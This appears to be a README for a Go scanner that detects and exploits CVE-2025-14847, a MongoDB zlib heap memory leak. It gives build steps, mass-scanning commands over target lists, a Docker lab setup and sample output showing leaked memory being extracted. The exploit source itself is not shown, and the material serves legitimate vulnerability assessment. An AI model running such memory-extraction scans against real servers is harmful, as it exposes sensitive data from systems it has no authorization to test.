
MongoDB 内存泄露漏洞 (CVE-2025-14847) 检测工具
MongoDB Memory Leak Vulnerability (CVE-2025-14847) Detection Tool
⚠️ Important: This tool is for authorized security testing and vulnerability assessment only. Unauthorized use may violate the law.
CVE-2025-14847 is a serious memory leak vulnerability in the MongoDB Zlib compression protocol handling. An attacker can send maliciously crafted compressed packets, causing MongoDB to return uninitialized heap memory data that may contain sensitive information.
| Version Range | Status |
|---|---|
| 8.2.0 - 8.2.2 | ⚠️ Affected |
| 8.0.0 - 8.0.16 | ⚠️ Affected |
| 7.0.0 - 7.0.27 | ⚠️ Affected |
| 6.0.0 - 6.0.26 | ⚠️ Affected |
| 5.0.0 - 5.0.31 | ⚠️ Affected |
| 4.4.0 - 4.4.29 | ⚠️ Affected |
| 4.2.x all versions | ⚠️ Affected |
| 4.0.x all versions | ⚠️ Affected |
| 3.6.x all versions | ⚠️ Affected |
# Clone the repository
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847
# Install dependencies
go mod download
# Build
go build -o mongodb-scanner main.go
# Run
./mongodb-scanner -t 127.0.0.1:27017
go run main.go -t 127.0.0.1:27017
Go to the Releases page to download a prebuilt binary for your system.
# Scan a single target
./mongodb-scanner -t 127.0.0.1:27017
# Batch scan from file
./mongodb-scanner -f targets.txt
# Batch scan with 20 threads
./mongodb-scanner -f targets.txt -c 20
# Scan and save vulnerable targets
./mongodb-scanner -f targets.txt -o vulnerable.txt
# Custom offset range (faster or deeper scan)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000
| Argument | Description | Default |
|---|---|---|
-t <target> | Single target (e.g., 127.0.0.1:27017) | - |
-f <file> | Target file (one target per line) | - |
-c <num> | Number of concurrent threads | 10 |
-timeout <time> | Connection timeout | 2s |
-o <file> | Output file (save vulnerable targets) | - |
--min-offset <num> | Minimum document length offset | 20 |
--max-offset <num> | Maximum document length offset | 8192 |
Create a targets.txt file:
# MongoDB target list
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017
# If no port is specified, defaults to 27017
192.168.1.101
To safely test this tool, it is recommended to set up a local test environment using Docker.
# Start MongoDB 6.0.14 (vulnerable version) with Zlib compression enabled
docker run -d \
--name mongodb-vulnerable \
-p 27017:27017 \
mongo:6.0.14 \
--networkMessageCompressors snappy,zlib
# Check container status
docker ps
# Test the vulnerability
./mongodb-scanner -t 127.0.0.1:27017
Create a docker-compose.yml file:
version: '3.8'
services:
# Vulnerable version (Zlib enabled)
mongodb-vulnerable:
image: mongo:6.0.14
container_name: mongodb-vulnerable
ports:
- "27017:27017"
command: mongod --networkMessageCompressors snappy,zlib
# Patched version (for comparison testing)
mongodb-patched:
image: mongo:6.0.27
container_name: mongodb-patched
ports:
- "27018:27017"
command: mongod --networkMessageCompressors snappy,zlib
volumes:
mongodb-data:
mongodb-patched-data:
Start the test environment:
# Start all containers
docker-compose up -d
# Test the vulnerable version
./mongodb-scanner -t 127.0.0.1:27017
# Test the patched version
./mongodb-scanner -t 127.0.0.1:27018
# Stop and clean up
docker-compose down -v
# Stop and remove containers
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable
# Prune volumes
docker volume prune -f
The tool uses unified prefixes to mark output:
[*] – Information output (target, version, configuration, etc.)[+] – Success/vulnerable/data extracted[-] – Failure/secure/no vulnerability[!] – Warning/important notice╔══════════════════════════════════════════════════════════════╗
║ MongoDB CVE-2025-14847 Vulnerability Detection Tool ║
╚══════════════════════════════════════════════════════════════╝
⚠️ For authorized security testing only | Unauthorized testing may be illegal
[*] Target: 1 | Threads: 10 | Timeout: 2s | Offset: 20-1000
[*] Starting scan...
[*] Target: 127.0.0.1:27017
[*] Version: 6.0.14
[+] Vulnerable version: Yes
[+] Zlib compression: Enabled
[!] Vulnerability exploitable, starting memory extraction...
[+] Offset=229 Length=250: :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",
[+] 127.0.0.1:27017 - Vulnerability exploitable (v6.0.14) - 3468ms
[+] Successfully extracted 1 memory data item:
[1] :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...
======================================================================
[*] Scan complete | Total: 1 | Exploitable: 1 | Secure: 0 | Duration: 3.4s
======================================================================
[*] Target: 127.0.0.1:27018
[*] Version: 6.0.27
[-] Vulnerable version: No
[-] 127.0.0.1:27018 - Version secure (v6.0.27) - 156ms
======================================================================
[*] Scan complete | Total: 1 | Exploitable: 0 | Secure: 1 | Duration: 0.2s
======================================================================
[*] Target: 127.0.0.1:27017
[*] Version: 6.0.14
[+] Vulnerable version: Yes
[-] Zlib compression: Not enabled
[-] 127.0.0.1:27017 - Zlib not enabled (v6.0.14) - 234ms
======================================================================
[*] Scan complete | Total: 1 | Exploitable: 0 | Secure: 1 | Duration: 0.3s
======================================================================
[*] Target: 5 | Threads: 10 | Timeout: 2s | Offset: 20-8192
[*] Starting scan...